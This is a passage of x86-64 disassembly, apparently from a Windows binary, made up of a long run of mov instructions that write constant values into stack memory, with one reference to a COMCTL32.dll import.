mov byte [rsp + 0x359], 0x11
mov eax, 0x1d5
mov word [rsp + 0x1bec], ax
mov dword [rsp + 0x83e4], 0x159be639
mov byte [rsp + 0x35a], 0x86
mov dword [rsp + 0x83e8], 0x2279f6fa
mov eax, 0xdf0
mov word [rsp + 0x1bf0], ax
mov dword [rsp + 0x83ec], 0x3657b023
mov dword [rsp + 0x83f0], 0x486c7532
mov dword [rsp + 0x83f4], 0x3f98ca2a
mov dword [rsp + 0x83f8], 0x69a0
mov byte [rsp + 0x35b], 0x1d
mov dword [rsp + 0x83fc], 0x62665472
mov dword [rsp + 0x8400], 0x129a28cc
mov dword [rsp + 0x8404], 0x1ab
mov byte [rsp + 0x35c], 0x4b
mov dword [rsp + 0x8408], 0x35fa
mov eax, 0xc5b
mov word [rsp + 0x1bf4], ax
mov byte [rsp + 0x35d], 0xe6
mov byte [rsp + 0x35e], 0x91
mov dword [rsp + 0x840c], 0x64f4
mov dword [rsp + 0x8410], 0xbd43
mov dword [rsp + 0x8414], 0xc0e7
mov eax, 0xc22
mov word [rsp + 0x1bf8], ax
mov dword [rsp + 0x8418], 0x75bb
mov dword [rsp + 0x841c], 0x2813689d
mov dword [rsp + 0x8420], 0x7555
mov dword [rsp + 0x8424], 0x3bf1f77a
mov dword [rsp + 0x8428], 0x7fd0eca8
mov dword [rsp + 0x842c], 0x44c51998
mov dword [rsp + 0x8430], 0x49eec42e
mov dword [rsp + 0x8434], 0x529d175
mov dword [rsp + 0x8438], 0x607ece89
mov eax, 0x7a3
mov word [rsp + 0x1bfc], ax
mov dword [rsp + 0x843c], 0xbf0
mov byte [rsp + 0x35f], 0xa5
mov dword [rsp + 0x8440], 0x4eedaa04
mov byte [rsp + 0x360], 0xe4
mov eax, 0xc30
mov word [rsp + 0x1c00], ax
mov byte [rsp + 0x361], 0x7a
mov dword [rsp + 0x8444], 0x3b00fb2
mov dword [rsp + 0x8448], 0xa95f
mov dword [rsp + 0x844c], 0x1f90
mov dword [rsp + 0x8450], 0x272c7b61
mov dword [rsp + 0x8454], 0x36cfaa05
mov byte [rsp + 0x362], 0x35
mov eax, 0xe6b
mov word [rsp + 0x1c04], ax
mov dword [rsp + 0x8458], 0x79337b62
mov dword [rsp + 0x845c], 0x4c77287a
mov byte [rsp + 0x363], 0x30
mov dword [rsp + 0x8460], 0x4e4cea64
mov dword [rsp + 0x8464], 0x195f1b6d
mov byte [rsp + 0x364], 0xb2
mov eax, 0xb15
mov word [rsp + 0x1c08], ax
mov dword [rsp + 0x8468], 0x7be2bdac
mov dword [rsp + 0x846c], 0x231c5c2f
mov byte [rsp + 0x365], 0x16
mov byte [rsp + 0x366], 0x59
mov eax, 0x16d
mov word [rsp + 0x1c0c], ax
mov dword [rsp + 0x8470], 0x9e12
mov eax, 0x1af
mov word [rsp + 0x1c10], ax
mov eax, 0xd14
mov word [rsp + 0x1c14], ax
mov byte [rsp + 0x367], 0x43
mov eax, 0x71a
mov word [rsp + 0x1c18], ax
mov dword [rsp + 0x8474], 0xc747
mov eax, 0x31e
mov word [rsp + 0x1c1c], ax
mov byte [rsp + 0x368], 0x5c
mov dword [rsp + 0x8478], 0x343c9635
mov dword [rsp + 0x847c], 0x7f50111f
mov byte [rsp + 0x369], 0xea
mov eax, reloc.COMCTL32.dll_DrawInsert
mov word [rsp + 0x1c20], ax
mov eax, 0x605
mov word [rsp + 0x1c24], ax
mov dword [rsp + 0x8480], 0x9288
mov dword [rsp + 0x8484], 0x3aed
mov dword [rsp + 0x8488], 0xf696
mov eax, 0xd49
mov word [rsp + 0x1c28], ax
mov byte [rsp + 0x36a], 0x3e
mov dword [rsp + 0x848c], 0x5f44
mov dword [rsp + 0x8490], 0x79f1
mov byte [rsp + 0x36b], 0xf8
mov dword [rsp + 0x8494], 0x277a25c0
mov dword [rsp + 0x8498], 0x3ed654e4
mov dword [rsp + 0x849c], 0xb5c71ef
mov dword [rsp + 0x84a0], 0x3dbb3b4a
mov eax, 0x362
mov word [rsp + 0x1c2c], ax
mov byte [rsp + 0x36c], 0xf1
mov byte [rsp + 0x36d], 0
mov dword [rsp + 0x84a4], 0x4446701c
mov byte [rsp + 0x36e], 0x4e
mov eax, 0x5ce
mov word [rsp + 0x1c30], ax
mov byte [rsp + 0x36f], 0x85
mov dword [rsp + 0x84a8], 0x91af
mov dword [rsp + 0x84ac], 0x10d13b3d
mov byte [rsp + 0x370], 0xb4
mov dword [rsp + 0x84b0], 0x6df9ab7
mov eax, 0x182
mov word [rsp + 0x1c34], ax
mov dword [rsp + 0x84b4], 0x7d8e1004
mov byte [rsp + 0x371], 0x5f
mov byte [rsp + 0x372], 0x48
mov dword [rsp + 0x84b8], 0xacca
mov dword [rsp + 0x84bc], 0x693d
mov dword [rsp + 0x84c0], 0x5909a0ef
mov byte [rsp + 0x373], 0x72
mov dword [rsp + 0x84c4], 0x4e6d
mov dword [rsp + 0x84c8], 0x8804977
mov dword [rsp + 0x84cc], 0x77458012
mov byte [rsp + 0x374], 0x34
mov dword [rsp + 0x84d0], 0xb4db
mov dword [rsp + 0x84d4], 0x11b76586
mov dword [rsp + 0x84d8], 0xf22dc38
mov dword [rsp + 0x84dc], 0x8849
mov dword [rsp + 0x84e0], 0x378cadf4
mov dword [rsp + 0x84e4], 0x49f16b2a
mov eax, 0x18f
mov word [rsp + 0x1c38], ax
mov eax, 0x727
mov word [rsp + 0x1c3c], ax
mov eax, 0x4f1
mov word [rsp + 0x1c40], ax
mov byte [rsp + 0x375], 0x1e
mov dword [rsp + 0x84e8], 0x524eb58
mov dword [rsp + 0x84ec], 0x39ed
mov byte [rsp + 0x376], 0x1e
mov dword [rsp + 0x84f0], 0x69ea8043
mov eax, 0x7a6
mov word [rsp + 0x1c44], ax
mov eax, 0x266
mov word [rsp + 0x1c48], ax
mov eax, 0x93c
mov word [rsp + 0x1c4c], ax
mov dword [rsp + 0x84f4], 0xad67f9f
mov dword [rsp + 0x84f8], 0x752742ee
mov eax, 0x3d0
mov word [rsp + 0x1c50], ax
mov dword [rsp + 0x84fc], 0x80b1
mov eax, 0xd01
mov word [rsp + 0x1c54], ax
mov eax, 0x664
mov word [rsp + 0x1c58], ax
mov eax, 0xa00
mov word [rsp + 0x1c5c], ax
mov dword [rsp + 0x8500], 0x585e3b01
mov dword [rsp + 0x8504], 0xfe2c
mov dword [rsp + 0x8508], 0x37a6429a
mov dword [rsp + 0x850c], 0x708786df
mov dword [rsp + 0x8510], 0x79b7aee1
mov dword [rsp + 0x8514], 0x11fa939f
mov byte [rsp + 0x377], 0x3f
mov dword [rsp + 0x8518], 0x3b9a6c3a
mov eax, 0x5c8
mov word [rsp + 0x1c60], ax
mov dword [rsp + 0x851c], 0x4a312a16
mov dword [rsp + 0x8520], 0x7f946f53
mov dword [rsp + 0x8524], 0xefc6
mov dword [rsp + 0x8528], 0x37429911
mov dword [rsp + 0x852c], 0x6436a328
mov dword [rsp + 0x8530], 0x5c9f2870
mov dword [rsp + 0x8534], 0xa2ed
mov eax, 0xb0b
mov word [rsp + 0x1c64], ax
mov byte [rsp + 0x378], 0xfd
mov byte [rsp + 0x379], 0x21
mov eax, 0xfc6
mov word [rsp + 0x1c68], ax
mov eax, 0x4d9
mov word [rsp + 0x1c6c], ax
mov dword [rsp + 0x8538], 0x4ac892e3
mov dword [rsp + 0x853c], 0x7bd4996e
mov dword [rsp + 0x8540], 0x407c
mov dword [rsp + 0x8544], 0xf46a
mov eax, 0x641
mov word [rsp + 0x1c70], ax
mov dword [rsp + 0x8548], 0x6a4af46c
mov eax, 0x187
mov word [rsp + 0x1c74], ax
mov dword [rsp + 0x854c], 0x781e
mov dword [rsp + 0x8550], 0x73661ba3
mov dword [rsp + 0x8554], 0x2a965287
mov dword [rsp + 0x8558], 0x380944dd
mov eax, 0x396
mov word [rsp + 0x1c78], ax
mov dword [rsp + 0x855c], 0x6288aced
mov byte [rsp + 0x37a], 0x11
mov dword [rsp + 0x8560], 0xa7e3
mov dword [rsp + 0x8564], 0x662bd963
mov byte [rsp + 0x37b], 0x91
mov dword [rsp + 0x8568], 0x3e8e
mov dword [rsp + 0x856c], 0xf6ee
mov byte [rsp + 0x37c], 0x68
mov dword [rsp + 0x8570], 0x35bf7f5e
mov dword [rsp + 0x8574], 0x6b69e6a1
mov dword [rsp + 0x8578], 0x54c98ea2
mov eax, 0xc54
mov word [rsp + 0x1c7c], ax
mov byte [rsp + 0x37d], 0x68
mov byte [rsp + 0x37e], 0x1f
mov dword [rsp + 0x857c], 0x13105364
mov dword [rsp + 0x8580], 0x5e4e
mov dword [rsp + 0x8584], 0x7e53
mov dword [rsp + 0x8588], 0x6fdf5d40
mov byte [rsp + 0x37f], 0x20
mov dword [rsp + 0x858c], 0x7749
mov dword [rsp + 0x8590], 0xa813
mov byte [rsp + 0x380], 0xe6
mov dword [rsp + 0x8594], 0x6531bd93
mov byte [rsp + 0x381], 0x55
mov byte [rsp + 0x382], 0x4d
mov byte [rsp + 0x383], 0x7c
mov dword [rsp + 0x8598], 0x73b0af1a
mov dword [rsp + 0x859c], 0x242
mov dword [rsp + 0x85a0], 0x530622bb
mov byte [rsp + 0x384], 0x46
mov byte [rsp + 0x385], 0x91
mov dword [rsp + 0x85a4], 0x757e0958
mov dword [rsp + 0x85a8], 0x517af325
mov dword [rsp + 0x85ac], 0xcd621a1
mov eax, 0xfd6
mov word [rsp + 0x1c80], ax
mov dword [rsp + 0x85b0], 0x6e3e8d31
mov byte [rsp + 0x386], 0x6c
mov dword [rsp + 0x85b4], 0x210849fd
mov dword [rsp + 0x85b8], 0x30beb50d
mov byte [rsp + 0x387], 0x4e
mov dword [rsp + 0x85bc], 0x72439ea0
mov dword [rsp + 0x85c0], 0x610c4b5e
mov byte [rsp + 0x388], 0xb1
mov byte [rsp + 0x389], 0xef
mov dword [rsp + 0x85c4], 0xe61f
mov byte [rsp + 0x38a], 0x1e
mov dword [rsp + 0x85c8], 0x1e9f7376
mov eax, 0x8c7
mov word [rsp + 0x1c84], ax
mov eax, 0xb00
mov word [rsp + 0x1c88], ax
mov dword [rsp + 0x85cc], 0x18918d48
mov dword [rsp + 0x85d0], 0x4ce002f6
mov byte [rsp + 0x38b], 0xa0
mov dword [rsp + 0x85d4], 0x54733439
mov dword [rsp + 0x85d8], 0x47e695b6
mov byte [rsp + 0x38c], 0x29
mov dword [rsp + 0x85dc], 0x3ad1ec81
mov byte [rsp + 0x38d], 7
mov dword [rsp + 0x85e0], 0x71f3
mov byte [rsp + 0x38e], 0x68
mov byte [rsp + 0x38f], 0x71
mov byte [rsp + 0x390], 0x7e
mov byte [rsp + 0x391], 7
mov eax, 0xb54
mov word [rsp + 0x1c8c], ax
mov dword [rsp + 0x85e4], 0x67661324
mov eax, 0x39
mov word [rsp + 0x1c90], ax
mov byte [rsp + 0x392], 0x12
mov dword [rsp + 0x85e8], 0x7faf757
mov byte [rsp + 0x393], 5
mov dword [rsp + 0x85ec], 0x3b866e2f
mov dword [rsp + 0x85f0], 0x782407f0
mov dword [rsp + 0x85f4], 0x46998de4
mov dword [rsp + 0x85f8], 0x40cb8bdf
mov dword [rsp + 0x85fc], 0x799ebabf
mov byte [rsp + 0x394], 0x9d
mov eax, 0x21b
mov word [rsp + 0x1c94], ax
mov dword [rsp + 0x8600], 0x38b548b9
mov byte [rsp + 0x395], 0x39
mov byte [rsp + 0x396], 0xc7
mov eax, 0x79e
mov word [rsp + 0x1c98], ax
mov dword [rsp + 0x8604], 0x78875b59
mov byte [rsp + 0x397], DrawInsert
mov dword [rsp + 0x8608], 0x22b07940
mov dword [rsp + 0x860c], 0x63965480
mov eax, 0x30c
mov word [rsp + 0x1c9c], ax
mov byte [rsp + 0x398], 0x6c
mov dword [rsp + 0x8610], 0x2381d61b
mov eax, 0xcb9
mov word [rsp + 0x1ca0], ax
mov byte [rsp + 0x399], 0x77
mov dword [rsp + 0x8614], 0x6125d5dd
mov dword [rsp + 0x8618], 0x5f9aeaa1
mov dword [rsp + 0x861c], 0x2babab4a
mov dword [rsp + 0x8620], 0x2e49
mov eax, 0x125
mov word [rsp + 0x1ca4], ax
mov byte [rsp + 0x39a], 0x93
mov dword [rsp + 0x8624], 0x37a3
mov dword [rsp + 0x8628], 0x7ffb9693
mov dword [rsp + 0x862c], 0xde6be8d
mov eax, 0x5de
mov word [rsp + 0x1ca8], ax
mov dword [rsp + 0x8630], 0x486a
mov dword [rsp + 0x8634], 0x7ead
mov dword [rsp + 0x8638], 0x35f6ad63
mov dword [rsp + 0x863c], 0x2f9b86a2
mov dword [rsp + 0x8640], 0x487b
mov dword [rsp + 0x8644], 0x847
mov byte [rsp + 0x39b], 0x39
mov eax, 0x9a6
mov word [rsp + 0x1cac], ax
mov byte [rsp + 0x39c], 0x52
mov dword [rsp + 0x8648], 0x232ffde6
mov dword [rsp + 0x864c], 0x3f14156
mov byte [rsp + 0x39d], 0x43
mov dword [rsp + 0x8650], 0x5917
mov byte [rsp + 0x39e], 0xd3
mov dword [rsp + 0x8654], 0x108a63e0
mov byte [rsp + 0x39f], 0x86
mov byte [rsp + 0x3a0], 0xb1
mov eax, 0x46b
mov word [rsp + 0x1cb0], ax
mov eax, 0x5db
mov word [rsp + 0x1cb4], ax
mov dword [rsp + 0x8658], 0xde60
mov dword [rsp + 0x865c], 0x8435
mov byte [rsp + 0x3a1], 0x81
mov dword [rsp + 0x8660], 0x2c0c5837
mov byte [rsp + 0x3a2], 0x78
mov byte [rsp + 0x3a3], 0xfd
mov byte [rsp + 0x3a4], 0xf3
mov byte [rsp + 0x3a5], 0x12
mov eax, 0x23b
mov word [rsp + 0x1cb8], ax
mov byte [rsp + 0x3a6], 0x7e
mov byte [rsp + 0x3a7], 0x24
mov dword [rsp + 0x8664], 0x39aa
mov dword [rsp + 0x8668], 0xf0f
mov byte [rsp + 0x3a8], 0xa8
mov dword [rsp + 0x866c], 0x28ae
mov byte [rsp + 0x3a9], 0x12
mov eax, 0x340
mov word [rsp + 0x1cbc], ax
mov dword [rsp + 0x8670], 0x2369fa95
mov dword [rsp + 0x8674], 0x936
mov dword [rsp + 0x8678], 0x62d3ff7
mov eax, 0xc9e
mov word [rsp + 0x1cc0], ax
mov dword [rsp + 0x867c], 0x3f543623
mov eax, 0x5e1
mov word [rsp + 0x1cc4], ax
mov dword [rsp + 0x8680], 0x7ce9a050
mov byte [rsp + 0x3aa], 4
mov dword [rsp + 0x8684], 0x65d43e23
mov eax, 0x228
mov word [rsp + 0x1cc8], ax
mov eax, 0xa2
mov word [rsp + 0x1ccc], ax
mov dword [rsp + 0x8688], 0xac1f
mov dword [rsp + 0x868c], 0x299bf4db
mov dword [rsp + 0x8690], 0x4b716d27
mov eax, 0x489
mov word [rsp + 0x1cd0], ax
mov eax, 0xdda
mov word [rsp + 0x1cd4], ax
mov dword [rsp + 0x8694], 0x299d
mov dword [rsp + 0x8698], 0x406e3525
mov byte [rsp + 0x3ab], 0x6f
mov dword [rsp + 0x869c], 0x63af
mov dword [rsp + 0x86a0], 0x4683a48e
mov byte [rsp + 0x3ac], 0x78
mov eax, 0x575
mov word [rsp + 0x1cd8], ax
mov eax, 0x870
mov word [rsp + 0x1cdc], ax
mov eax, 0xc03
mov word [rsp + 0x1ce0], ax
mov byte [rsp + 0x3ad], 0x4c
mov byte [rsp + 0x3ae], 0x24
mov byte [rsp + 0x3af], 0x71
mov byte [rsp + 0x3b0], 0x31
mov dword [rsp + 0x86a4], 0x4423f4b0
mov dword [rsp + 0x86a8], 0x1a9089
mov dword [rsp + 0x86ac], 0x26ce96b8
mov dword [rsp + 0x86b0], 0xa97c
mov byte [rsp + 0x3b1], 0xca
mov byte [rsp + 0x3b2], 0xba
mov dword [rsp + 0x86b4], 0x302c
mov eax, 0x361
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x86b8], 0x47744ac6
mov byte [rsp + 0x3b3], 0x23
mov dword [rsp + 0x86bc], 0x1b8c3564
mov dword [rsp + 0x86c0], 0xed7a
mov eax, 0xa60
mov word [rsp + 0x1ce8], ax
mov dword [rsp + 0x86c4], 0xa043
mov dword [rsp + 0x86c8], 0x7f4d6734
mov dword [rsp + 0x86cc], 0xc08b
mov byte [rsp + 0x3b4], 0x3f
mov dword [rsp + 0x86d0], 0x2733
mov dword [rsp + 0x86d4], 0xb7de
mov byte [rsp + 0x3b5], 0x18
mov dword [rsp + 0x86d8], 0x7ab6
mov dword [rsp + 0x86dc], 0x69722c45
mov dword [rsp + 0x86e0], 0xd3542d6
mov dword [rsp + 0x86e4], 0x4764
mov byte [rsp + 0x3b6], 0x18
mov byte [rsp + 0x3b7], 0x7c
mov dword [rsp + 0x86e8], 0x8f96895
mov dword [rsp + 0x86ec], 0x53f66355
mov dword [rsp + 0x86f0], 0x4087ce15
mov dword [rsp + 0x86f4], 0x561c212f
mov dword [rsp + 0x86f8], 0x6d88
mov dword [rsp + 0x86fc], 0x61ccab62
mov dword [rsp + 0x8700], 0xccdccbc
mov dword [rsp + 0x8704], 0x6e909eef
mov eax, 0x208
mov word [rsp + 0x1cec], ax
mov byte [rsp + 0x3b8], 0x57
mov dword [rsp + 0x8708], 0xb6f1
mov eax, 0x3c8
mov word [rsp + 0x1cf0], ax
mov byte [rsp + 0x3b9], 0xe1
mov byte [rsp + 0x3ba], 0x3b
mov eax, 0x985
mov word [rsp + 0x1cf4], ax
mov dword [rsp + 0x870c], 0x40cbcca0
mov eax, 0x351
mov word [rsp + 0x1cf8], ax
mov dword [rsp + 0x8710], 0x1bc322ef
mov dword [rsp + 0x8714], 0x47902ed0
mov eax, 0x32a
mov word [rsp + 0x1cfc], ax
mov dword [rsp + 0x8718], 0x6f7c9132
mov dword [rsp + 0x871c], 0x736adcc9
mov byte [rsp + 0x3bb], 0x9c
mov dword [rsp + 0x8720], 0x1e8c3a56
mov dword [rsp + 0x8724], 0x5e97902b
mov eax, 0x420
mov word [rsp + 0x1d00], ax
mov dword [rsp + 0x8728], 0x882072a
mov eax, 0x819
mov word [rsp + 0x1d04], ax
xor eax, eax
mov word [rsp + 0x1d08], ax
mov eax, 0x7e5
mov word [rsp + 0x1d0c], ax
mov dword [rsp + 0x872c], 0x34c00ba3
mov dword [rsp + 0x8730], 0xef665b9
mov dword [rsp + 0x8734], 0x663012bf
mov dword [rsp + 0x8738], 0x35b73cc7
mov byte [rsp + 0x3bc], 0x9b
mov dword [rsp + 0x873c], 0xfb34
mov byte [rsp + 0x3bd], 0xbb
mov byte [rsp + 0x3be], 0xbf
mov eax, 0xe8c
mov word [rsp + 0x1d10], ax
mov eax, 0x327
mov word [rsp + 0x1d14], ax
mov byte [rsp + 0x3bf], 3
mov byte [rsp + 0x3c0], 0xd3
mov dword [rsp + 0x8740], 0x10ea1bd4
mov dword [rsp + 0x8744], 0xc255
mov dword [rsp + 0x8748], 0x2e6cbcac
mov eax, 0xbfd
mov word [rsp + 0x1d18], ax
mov byte [rsp + 0x3c1], 0xa5
mov dword [rsp + 0x874c], 0x7166
mov eax, 0x186
mov word [rsp + 0x1d1c], ax
mov dword [rsp + 0x8750], 0x2898712d
mov byte [rsp + 0x3c2], 0x79
mov byte [rsp + 0x3c3], 0x5b
mov dword [rsp + 0x8754], 0xd96f
mov dword [rsp + 0x8758], 0x44f799d9
mov byte [rsp + 0x3c4], 0x80
mov dword [rsp + 0x875c], 0x3bdbb19d
mov dword [rsp + 0x8760], 0x889e
mov eax, 0xba9
mov word [rsp + 0x1d20], ax
mov dword [rsp + 0x8764], 0x2b18
mov eax, 0xd8c
mov word [rsp + 0x1d24], ax
mov dword [rsp + 0x8768], 0xc8f8
mov dword [rsp + 0x876c], 0xf847
mov dword [rsp + 0x8770], 0x16b48fc6
mov byte [rsp + 0x3c5], 0x37
mov dword [rsp + 0x8774], 0x3cd
mov eax, 0x9a4
mov word [rsp + 0x1d28], ax
mov dword [rsp + 0x8778], 0x1e561d50
mov dword [rsp + 0x877c], 0x6ab6a9c
mov eax, 0x7ca
mov word [rsp + 0x1d2c], ax
mov eax, 0xdec
mov word [rsp + 0x1d30], ax
mov dword [rsp + 0x8780], 0x5f86
mov dword [rsp + 0x8784], 0x3f285fc0
mov eax, 0x52b
mov word [rsp + 0x1d34], ax
mov dword [rsp + 0x8788], 0x6d4bbf4f
mov eax, 0x20
mov word [rsp + 0x1d38], ax
mov byte [rsp + 0x3c6], 0x63
mov byte [rsp + 0x3c7], 0x76
mov dword [rsp + 0x878c], 0x4f0ad502
mov dword [rsp + 0x8790], 0x9606
mov dword [rsp + 0x8794], 0x4281
mov dword [rsp + 0x8798], 0x4801cebe
mov dword [rsp + 0x879c], 0x24ea57f3
mov eax, 0x174
mov word [rsp + 0x1d3c], ax
mov eax, 0x56f
mov word [rsp + 0x1d40], ax
mov dword [rsp + 0x87a0], 0x370f
mov eax, 0x62c
mov word [rsp + 0x1d44], ax
mov dword [rsp + 0x87a4], 0x27b
mov dword [rsp + 0x87a8], 0x4408d2d0
mov dword [rsp + 0x87ac], 0x3aeb
mov dword [rsp + 0x87b0], 0x3a1f
mov dword [rsp + 0x87b4], 0xbebe095
mov dword [rsp + 0x87b8], 0x6b9c03aa
mov dword [rsp + 0x87bc], 0x61b0c2d9
mov eax, 0x441
mov word [rsp + 0x1d48], ax
mov eax, 0x222
mov word [rsp + 0x1d4c], ax
mov dword [rsp + 0x87c0], 0x610a
mov dword [rsp + 0x87c4], 0xc877
mov dword [rsp + 0x87c8], 0x9995
mov dword [rsp + 0x87cc], 0x441c0f79
mov dword [rsp + 0x87d0], 0x6ca94e3c
mov dword [rsp + 0x87d4], 0xfbfc
mov dword [rsp + 0x87d8], 0x7c94e145
mov eax, 0x3b9
mov word [rsp + 0x1d50], ax
mov dword [rsp + 0x87dc], 0x238
mov eax, 0x7a8
mov word [rsp + 0x1d54], ax
mov byte [rsp + 0x3c8], 0xb3
mov dword [rsp + 0x87e0], 0x206c327f
mov dword [rsp + 0x87e4], 0x34836cbd
mov eax, 0x133
mov word [rsp + 0x1d58], ax
mov dword [rsp + 0x87e8], 0x74b65e67
mov byte [rsp + 0x3c9], 0x16
mov dword [rsp + 0x87ec], 0x1e686fb5
mov dword [rsp + 0x87f0], 0xd05d
mov byte [rsp + 0x3ca], 5
mov byte [rsp + 0x3cb], 8
mov byte [rsp + 0x3cc], 0xb6
mov dword [rsp + 0x87f4], 0x804f
mov eax, 0x6b0
mov word [rsp + 0x1d5c], ax
mov byte [rsp + 0x3cd], 0xaa
mov byte [rsp + 0x3ce], 0x86
mov eax, 0x13f
mov word [rsp + 0x1d60], ax
mov dword [rsp + 0x87f8], 0xa36fcf2
mov dword [rsp + 0x87fc], 0x8e32
mov dword [rsp + 0x8800], 0x8d64
mov byte [rsp + 0x3cf], 0xf1
mov byte [rsp + 0x3d0], 0x88
mov byte [rsp + 0x3d1], 0x7f
mov dword [rsp + 0x8804], 0x7df5bcdb
mov dword [rsp + 0x8808], 0xc9f4
mov dword [rsp + 0x880c], 0x13ece1d8
mov dword [rsp + 0x8810], 0xcdc9511
mov dword [rsp + 0x8814], 0x5158087a
mov dword [rsp + 0x8818], 0x6632e80a
mov eax, 0xf21
mov word [rsp + 0x1d64], ax
mov byte [rsp + 0x3d2], 0xe4
mov dword [rsp + 0x881c], 0xd808
mov dword [rsp + 0x8820], 0x34ecbbcc
mov dword [rsp + 0x8824], 0x62c511c1
mov eax, 0x611
mov word [rsp + 0x1d68], ax
mov eax, 0xcdb
mov word [rsp + 0x1d6c], ax
mov dword [rsp + 0x8828], 0x4053017c
mov eax, 0x420
mov word [rsp + 0x1d70], ax
mov eax, 0x815
mov word [rsp + 0x1d74], ax
mov dword [rsp + 0x882c], 0x36ee3c44
mov byte [rsp + 0x3d3], 0x1a
mov dword [rsp + 0x8830], 0x7f400d26
mov eax, 0x8d3
mov word [rsp + 0x1d78], ax
mov eax, 0xeb2
mov word [rsp + 0x1d7c], ax
mov dword [rsp + 0x8834], 0x3ecabd77
mov dword [rsp + 0x8838], 0xf1ba
mov byte [rsp + 0x3d4], 0x59
mov dword [rsp + 0x883c], 0x118cbfac
mov eax, 0x590
mov word [rsp + 0x1d80], ax
mov dword [rsp + 0x8840], 0x6afdb26b
mov dword [rsp + 0x8844], 0x2cbf
mov dword [rsp + 0x8848], 0x38e574b1
mov dword [rsp + 0x884c], 0x78734891
mov eax, 0x25b
mov word [rsp + 0x1d84], ax
mov eax, 0xd0b
mov word [rsp + 0x1d88], ax
mov eax, 0xa92
mov word [rsp + 0x1d8c], ax
mov eax, 0x77a
mov word [rsp + 0x1d90], ax
mov dword [rsp + 0x8850], 0x7ce1
mov eax, 0x83
mov word [rsp + 0x1d94], ax
mov dword [rsp + 0x8854], 0x26a31b18
mov byte [rsp + 0x3d5], 0x5a
mov dword [rsp + 0x8858], 0x6f7c6120
mov eax, 0x4e1
mov word [rsp + 0x1d98], ax
mov dword [rsp + 0x885c], 0x3691dfd6
mov dword [rsp + 0x8860], 0x1d00df87
mov dword [rsp + 0x8864], 0x3a0e6b37
mov eax, 0x7ab
mov word [rsp + 0x1d9c], ax
mov dword [rsp + 0x8868], 0x4481c47
mov dword [rsp + 0x886c], 0x816d
mov eax, 0x44a
mov word [rsp + 0x1da0], ax
mov dword [rsp + 0x8870], 0x7a08
mov dword [rsp + 0x8874], 0x1b4898c0
mov dword [rsp + 0x8878], 0x6de44b41
mov dword [rsp + 0x887c], 0x7b73abbd
mov dword [rsp + 0x8880], 0xfba5
mov eax, 0x5d3
mov word [rsp + 0x1da4], ax
mov dword [rsp + 0x8884], 0x4c
mov eax, 0xcaa
mov word [rsp + 0x1da8], ax
mov byte [rsp + 0x3d6], 0x33
mov eax, 0x9ea
mov word [rsp + 0x1dac], ax
mov dword [rsp + 0x8888], 0x41912b59
mov dword [rsp + 0x888c], 0x6e92533a
mov byte [rsp + 0x3d7], 0x2a
mov dword [rsp + 0x8890], 0x75b7
mov dword [rsp + 0x8894], 0x5533552
mov dword [rsp + 0x8898], 0x2c75625d
mov dword [rsp + 0x889c], 0x48ee5388
mov byte [rsp + 0x3d8], 0xed
mov byte [rsp + 0x3d9], 0x52
mov dword [rsp + 0x88a0], 0x759582e1
mov byte [rsp + 0x3da], DrawInsert
mov dword [rsp + 0x88a4], 0x5ef7
mov dword [rsp + 0x88a8], 0xd74
mov byte [rsp + 0x3db], 0x28
mov eax, 0x2f4
mov word [rsp + 0x1db0], ax
mov dword [rsp + 0x88ac], 0x4b8b3b2e
mov dword [rsp + 0x88b0], 0xa8a6
mov dword [rsp + 0x88b4], 0x6b10603e
mov dword [rsp + 0x88b8], 0x3768259
mov eax, 0x453
mov word [rsp + 0x1db4], ax
mov eax, 0x745
mov word [rsp + 0x1db8], ax
mov byte [rsp + 0x3dc], 0x55
mov dword [rsp + 0x88bc], 0x7a17be81
mov dword [rsp + 0x88c0], 0x150f2b7b
mov eax, 0x25f
mov word [rsp + 0x1dbc], ax
mov byte [rsp + 0x3dd], 0x7e
mov dword [rsp + 0x88c4], 0xe105
mov byte [rsp + 0x3de], 0x2a
mov eax, 0x27
mov word [rsp + 0x1dc0], ax
mov eax, 0xa58
mov word [rsp + 0x1dc4], ax
mov eax, 0x65a
mov word [rsp + 0x1dc8], ax
mov dword [rsp + 0x88c8], 0x25a3
mov dword [rsp + 0x88cc], 0x1e25422f
mov byte [rsp + 0x3df], 0xb1
mov dword [rsp + 0x88d0], 0x1f41
mov dword [rsp + 0x88d4], 0x61d8a239
mov dword [rsp + 0x88d8], 0x3f534a3a
mov dword [rsp + 0x88dc], 0x60072399
mov byte [rsp + 0x3e0], 0xc8
mov dword [rsp + 0x88e0], 0xd2d7dfe
mov dword [rsp + 0x88e4], 0x52d650a1
mov dword [rsp + 0x88e8], 0x6ba9
mov dword [rsp + 0x88ec], 0x56099b34
mov eax, 0x8e9
mov word [rsp + 0x1dcc], ax
mov dword [rsp + 0x88f0], 0x732d283d
mov byte [rsp + 0x3e1], 0x2a
mov eax, 0xd6d
mov word [rsp + 0x1dd0], ax
mov dword [rsp + 0x88f4], 0xfd6c
mov dword [rsp + 0x88f8], 0x6ccd872
mov dword [rsp + 0x88fc], 0xd758
mov dword [rsp + 0x8900], 0x9624
mov eax, 0xb2c
mov word [rsp + 0x1dd4], ax
mov eax, 0x47e
mov word [rsp + 0x1dd8], ax
mov dword [rsp + 0x8904], 0x4852b4cf
mov dword [rsp + 0x8908], 0x38c91355
mov dword [rsp + 0x890c], 0xf37b415
mov dword [rsp + 0x8910], 0x3831
mov eax, 0x885
mov word [rsp + 0x1ddc], ax
mov eax, 0xf1a
mov word [rsp + 0x1de0], ax
mov eax, 0x52
mov word [rsp + 0x1de4], ax
mov eax, 0x394
mov word [rsp + 0x1de8], ax
mov dword [rsp + 0x8914], 0x3dc03976
mov dword [rsp + 0x8918], 0x2bbaf321
mov dword [rsp + 0x891c], 0xecd
mov eax, 0x436
mov word [rsp + 0x1dec], ax
mov dword [rsp + 0x8920], 0x78d53daa
mov eax, 0xb78
mov word [rsp + 0x1df0], ax
mov dword [rsp + 0x8924], 0x10b686e6
mov eax, 0xc89
mov word [rsp + 0x1df4], ax
mov dword [rsp + 0x8928], 0x63713df7
mov dword [rsp + 0x892c], 0x4c5d5a5
mov eax, 0x486
mov word [rsp + 0x1df8], ax
mov eax, 0x33f
mov word [rsp + 0x1dfc], ax
mov dword [rsp + 0x8930], 0x6721
mov byte [rsp + 0x3e2], 0x53
mov dword [rsp + 0x8934], 0x5d5b1104
mov byte [rsp + 0x3e3], 0xf9
mov dword [rsp + 0x8938], 0x1d49
mov dword [rsp + 0x893c], 0x73f399e2
mov dword [rsp + 0x8940], 0xf063
mov byte [rsp + 0x3e4], 0xee
mov byte [rsp + 0x3e5], 0xcc
mov eax, 0xf72
